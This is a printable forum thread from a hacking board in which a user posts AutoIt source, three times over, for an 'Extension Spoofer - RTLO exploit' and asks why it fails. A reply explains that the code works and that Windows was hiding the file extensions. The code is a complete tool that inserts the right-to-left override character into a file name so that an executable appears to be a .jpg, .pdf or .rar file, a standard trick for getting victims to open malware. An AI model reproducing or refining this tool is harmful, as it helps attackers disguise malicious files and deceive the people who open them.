[AutoIt] Extension spoofer help

[AutoIt] Extension spoofer help - Printable Version

+- Sinisterly (https://sinister.li)
+-- Forum: Coding (https://sinister.li/Forum-Coding)
+--- Forum: Coding (https://sinister.li/Forum-Coding--71)
+--- Thread: [AutoIt] Extension spoofer help (/Thread-AutoIt-Extension-spoofer-help)

Pages: 1 2

[AutoIt] Extension spoofer help - vaan - 10-04-2013

Code:
	#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
    #AutoIt3Wrapper_Icon=thread\icon\Untitled - 4.ico
    #AutoIt3Wrapper_Res_Comment=coded for Hackforums.net
    #AutoIt3Wrapper_Res_Description=Extension Spoofer - RTLO exploit v1.0
    #AutoIt3Wrapper_Res_Fileversion=1.0
    #AutoIt3Wrapper_Res_LegalCopyright=ShadowzKnowledge
    #AutoIt3Wrapper_Run_Obfuscator=y
    #EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
    #include <ButtonConstants.au3>
    #include <ComboConstants.au3>
    #include <EditConstants.au3>
    #include <GUIConstantsEx.au3>
    #include <StaticConstants.au3>
    #include <WindowsConstants.au3>
    #include <String.au3>
     
    $sVersion = "Extension Spoofer - RTLO exploit v1.0"
    FileInstall("img.jpg",@TempDir&"\img.jpg",1)
    FileInstall("blank.ico",@TempDir&"\blank.ico",1)
     
     
     
    #Region ### START Koda GUI section ### Form=
    $Form1 = GUICreate($sVersion, 785, 421, 192, 124)
    GUISetBkColor(0x333333)
    GUISetFont(11.5,Default,Default,"arial")
    $Pic1 = GUICtrlCreatePic(@TempDir&"\img.jpg", 0, 0, 800, 250)
    ;$Icon1 = GUICtrlCreateIcon(@TempDir&"\blank.ico", -1, 272, 280, 64, 64)
    $Button2 = GUICtrlCreateButton("Browse:", 40, 308, 75, 25)
    $Label1 = GUICtrlCreateLabel("File: ", 40, 288, 230, 17)
    ;$Button1 = GUICtrlCreateButton("Browse:", 352, 304, 75, 25)
    $Label2 = GUICtrlCreateLabel("***.", 600, 306, 36, 17)
    $Input1 = GUICtrlCreateInput("filename", 464, 304, 121, 21)
    $Combo1 = GUICtrlCreateCombo("jpg", 632, 304, 57, 25, BitOR($CBS_DROPDOWN,$CBS_AUTOHSCROLL))
    GUICtrlSetData(-1,"pdf|rar")
    $Button3 = GUICtrlCreateButton("Generate", 280, 360, 240, 49)
    GUISetState(@SW_SHOW)
    #EndRegion ### END Koda GUI section ###
     
    $file_main = ""
    $file_icon = ""
     
    While 1
            $nMsg = GUIGetMsg()
            Switch $nMsg
                    Case $GUI_EVENT_CLOSE
                            Exit
                    Case $Button2
                            $fOpenD = FileOpenDialog("Select your file ...",@ScriptDir,"(*.*)")
                            If Not @error And FileExists($fOpenD) Then
                                    $file_main = $fOpenD
                                    $aSplit = StringSplit($file_main,"\")
                                    GUICtrlSetData($Label1,"File: "&$aSplit[$aSplit[0]])
                                    $aSplit = StringSplit($aSplit[$aSplit[0]],".")
                                    GUICtrlSetData($Label2,$aSplit[$aSplit[0]]&".")
                            Else
                                    $file_main = ""
                                    GUICtrlSetData($Label1,"File: ")
                                    GUICtrlSetData($Label2,"***.")
                            EndIf
                            #cs
                    Case $Button1
                            $fOpenD = FileOpenDialog("Select your file ...",@ScriptDir,"(*.ico)")
                            If Not @error And FileExists($fOpenD) Then
                                    $file_icon = $fOpenD
                                    GUICtrlSetImage($Icon1,$file_icon)
                            Else
                                    $file_icon = ""
                                    GUICtrlSetImage($Icon1,@TempDir&"\blank.ico")
                            EndIf
                            #ce
                    Case $Button3
                    If $file_main <> "" AND GUICtrlRead($Input1) <> "" And GUICtrlRead($Combo1) <> "" Then
                            $RTLO_char = ChrW(0x202e)
                            $filename = GUICtrlRead($Input1)&$RTLO_char&_StringReverse(GUICtrlRead($Combo1))&"."&_StringReverse(StringTrimRight(GUICtrlRead($Label2),1))
                            FileCopy($file_main,_FileGetDir($file_main)&$filename,1)
                            MsgBox(0,$sVersion,'file has been saved as:'&@CRLF&$filename&'')
                    EndIf
            EndSwitch
    WEnd
     
    Func _FileGetDir($sFile)
            $aSplit = StringSplit($sFile,"\")
            $Path = ""
            For $i = 1 to ($aSplit[0] -1)
                    $Path &= $aSplit[$i]&"\"
            Next
            Return $Path
    EndFunc

the outcome of the file example.exe is examplejpg but the extension is still .exe on the properties, its just renaming the file to examplejpg

can you tell me what is wrong with the code?

credits to ShadowzKnowledge for the code

[AutoIt] Extension spoofer help - vaan - 10-04-2013

Code:
	#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
    #AutoIt3Wrapper_Icon=thread\icon\Untitled - 4.ico
    #AutoIt3Wrapper_Res_Comment=coded for Hackforums.net
    #AutoIt3Wrapper_Res_Description=Extension Spoofer - RTLO exploit v1.0
    #AutoIt3Wrapper_Res_Fileversion=1.0
    #AutoIt3Wrapper_Res_LegalCopyright=ShadowzKnowledge
    #AutoIt3Wrapper_Run_Obfuscator=y
    #EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
    #include <ButtonConstants.au3>
    #include <ComboConstants.au3>
    #include <EditConstants.au3>
    #include <GUIConstantsEx.au3>
    #include <StaticConstants.au3>
    #include <WindowsConstants.au3>
    #include <String.au3>
     
    $sVersion = "Extension Spoofer - RTLO exploit v1.0"
    FileInstall("img.jpg",@TempDir&"\img.jpg",1)
    FileInstall("blank.ico",@TempDir&"\blank.ico",1)
     
     
     
    #Region ### START Koda GUI section ### Form=
    $Form1 = GUICreate($sVersion, 785, 421, 192, 124)
    GUISetBkColor(0x333333)
    GUISetFont(11.5,Default,Default,"arial")
    $Pic1 = GUICtrlCreatePic(@TempDir&"\img.jpg", 0, 0, 800, 250)
    ;$Icon1 = GUICtrlCreateIcon(@TempDir&"\blank.ico", -1, 272, 280, 64, 64)
    $Button2 = GUICtrlCreateButton("Browse:", 40, 308, 75, 25)
    $Label1 = GUICtrlCreateLabel("File: ", 40, 288, 230, 17)
    ;$Button1 = GUICtrlCreateButton("Browse:", 352, 304, 75, 25)
    $Label2 = GUICtrlCreateLabel("***.", 600, 306, 36, 17)
    $Input1 = GUICtrlCreateInput("filename", 464, 304, 121, 21)
    $Combo1 = GUICtrlCreateCombo("jpg", 632, 304, 57, 25, BitOR($CBS_DROPDOWN,$CBS_AUTOHSCROLL))
    GUICtrlSetData(-1,"pdf|rar")
    $Button3 = GUICtrlCreateButton("Generate", 280, 360, 240, 49)
    GUISetState(@SW_SHOW)
    #EndRegion ### END Koda GUI section ###
     
    $file_main = ""
    $file_icon = ""
     
    While 1
            $nMsg = GUIGetMsg()
            Switch $nMsg
                    Case $GUI_EVENT_CLOSE
                            Exit
                    Case $Button2
                            $fOpenD = FileOpenDialog("Select your file ...",@ScriptDir,"(*.*)")
                            If Not @error And FileExists($fOpenD) Then
                                    $file_main = $fOpenD
                                    $aSplit = StringSplit($file_main,"\")
                                    GUICtrlSetData($Label1,"File: "&$aSplit[$aSplit[0]])
                                    $aSplit = StringSplit($aSplit[$aSplit[0]],".")
                                    GUICtrlSetData($Label2,$aSplit[$aSplit[0]]&".")
                            Else
                                    $file_main = ""
                                    GUICtrlSetData($Label1,"File: ")
                                    GUICtrlSetData($Label2,"***.")
                            EndIf
                            #cs
                    Case $Button1
                            $fOpenD = FileOpenDialog("Select your file ...",@ScriptDir,"(*.ico)")
                            If Not @error And FileExists($fOpenD) Then
                                    $file_icon = $fOpenD
                                    GUICtrlSetImage($Icon1,$file_icon)
                            Else
                                    $file_icon = ""
                                    GUICtrlSetImage($Icon1,@TempDir&"\blank.ico")
                            EndIf
                            #ce
                    Case $Button3
                    If $file_main <> "" AND GUICtrlRead($Input1) <> "" And GUICtrlRead($Combo1) <> "" Then
                            $RTLO_char = ChrW(0x202e)
                            $filename = GUICtrlRead($Input1)&$RTLO_char&_StringReverse(GUICtrlRead($Combo1))&"."&_StringReverse(StringTrimRight(GUICtrlRead($Label2),1))
                            FileCopy($file_main,_FileGetDir($file_main)&$filename,1)
                            MsgBox(0,$sVersion,'file has been saved as:'&@CRLF&$filename&'')
                    EndIf
            EndSwitch
    WEnd
     
    Func _FileGetDir($sFile)
            $aSplit = StringSplit($sFile,"\")
            $Path = ""
            For $i = 1 to ($aSplit[0] -1)
                    $Path &= $aSplit[$i]&"\"
            Next
            Return $Path
    EndFunc

[AutoIt] Extension spoofer help - vaan - 10-04-2013

Code:
	#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
    #AutoIt3Wrapper_Icon=thread\icon\Untitled - 4.ico
    #AutoIt3Wrapper_Res_Comment=coded for Hackforums.net
    #AutoIt3Wrapper_Res_Description=Extension Spoofer - RTLO exploit v1.0
    #AutoIt3Wrapper_Res_Fileversion=1.0
    #AutoIt3Wrapper_Res_LegalCopyright=ShadowzKnowledge
    #AutoIt3Wrapper_Run_Obfuscator=y
    #EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
    #include <ButtonConstants.au3>
    #include <ComboConstants.au3>
    #include <EditConstants.au3>
    #include <GUIConstantsEx.au3>
    #include <StaticConstants.au3>
    #include <WindowsConstants.au3>
    #include <String.au3>
     
    $sVersion = "Extension Spoofer - RTLO exploit v1.0"
    FileInstall("img.jpg",@TempDir&"\img.jpg",1)
    FileInstall("blank.ico",@TempDir&"\blank.ico",1)
     
     
     
    #Region ### START Koda GUI section ### Form=
    $Form1 = GUICreate($sVersion, 785, 421, 192, 124)
    GUISetBkColor(0x333333)
    GUISetFont(11.5,Default,Default,"arial")
    $Pic1 = GUICtrlCreatePic(@TempDir&"\img.jpg", 0, 0, 800, 250)
    ;$Icon1 = GUICtrlCreateIcon(@TempDir&"\blank.ico", -1, 272, 280, 64, 64)
    $Button2 = GUICtrlCreateButton("Browse:", 40, 308, 75, 25)
    $Label1 = GUICtrlCreateLabel("File: ", 40, 288, 230, 17)
    ;$Button1 = GUICtrlCreateButton("Browse:", 352, 304, 75, 25)
    $Label2 = GUICtrlCreateLabel("***.", 600, 306, 36, 17)
    $Input1 = GUICtrlCreateInput("filename", 464, 304, 121, 21)
    $Combo1 = GUICtrlCreateCombo("jpg", 632, 304, 57, 25, BitOR($CBS_DROPDOWN,$CBS_AUTOHSCROLL))
    GUICtrlSetData(-1,"pdf|rar")
    $Button3 = GUICtrlCreateButton("Generate", 280, 360, 240, 49)
    GUISetState(@SW_SHOW)
    #EndRegion ### END Koda GUI section ###
     
    $file_main = ""
    $file_icon = ""
     
    While 1
            $nMsg = GUIGetMsg()
            Switch $nMsg
                    Case $GUI_EVENT_CLOSE
                            Exit
                    Case $Button2
                            $fOpenD = FileOpenDialog("Select your file ...",@ScriptDir,"(*.*)")
                            If Not @error And FileExists($fOpenD) Then
                                    $file_main = $fOpenD
                                    $aSplit = StringSplit($file_main,"\")
                                    GUICtrlSetData($Label1,"File: "&$aSplit[$aSplit[0]])
                                    $aSplit = StringSplit($aSplit[$aSplit[0]],".")
                                    GUICtrlSetData($Label2,$aSplit[$aSplit[0]]&".")
                            Else
                                    $file_main = ""
                                    GUICtrlSetData($Label1,"File: ")
                                    GUICtrlSetData($Label2,"***.")
                            EndIf
                            #cs
                    Case $Button1
                            $fOpenD = FileOpenDialog("Select your file ...",@ScriptDir,"(*.ico)")
                            If Not @error And FileExists($fOpenD) Then
                                    $file_icon = $fOpenD
                                    GUICtrlSetImage($Icon1,$file_icon)
                            Else
                                    $file_icon = ""
                                    GUICtrlSetImage($Icon1,@TempDir&"\blank.ico")
                            EndIf
                            #ce
                    Case $Button3
                    If $file_main <> "" AND GUICtrlRead($Input1) <> "" And GUICtrlRead($Combo1) <> "" Then
                            $RTLO_char = ChrW(0x202e)
                            $filename = GUICtrlRead($Input1)&$RTLO_char&_StringReverse(GUICtrlRead($Combo1))&"."&_StringReverse(StringTrimRight(GUICtrlRead($Label2),1))
                            FileCopy($file_main,_FileGetDir($file_main)&$filename,1)
                            MsgBox(0,$sVersion,'file has been saved as:'&@CRLF&$filename&'')
                    EndIf
            EndSwitch
    WEnd
     
    Func _FileGetDir($sFile)
            $aSplit = StringSplit($sFile,"\")
            $Path = ""
            For $i = 1 to ($aSplit[0] -1)
                    $Path &= $aSplit[$i]&"\"
            Next
            Return $Path
    EndFunc

RE: [AutoIt] Extension spoofer help - Deque - 10-04-2013

There is nothing wrong with the code.
You have the option enabled that hides extensions, so you can't see it.
Enable it like described here: http://windows.microsoft.com/en-us/windows/show-hide-file-name-extensions#show-hide-file-name-extensions=windows-7

The properties will always show the correct extension. The extension spoofing with RLO only works for the naming string the user sees i.e. on the desktop (provided extensions aren't hidden).

RE: [AutoIt] Extension spoofer help - vaan - 10-04-2013

i SEE, thanks for the help, i tough there is some problem with the code.

but is there a way to change the extension? without spoofing it?

RE: [AutoIt] Extension spoofer help - Deque - 10-04-2013

(10-04-2013, 09:30 AM)vaan Wrote: i SEE, thanks for the help, i tough there is some problem with the code.

but is there a way to change the extension? without spoofing it?

Just rename it?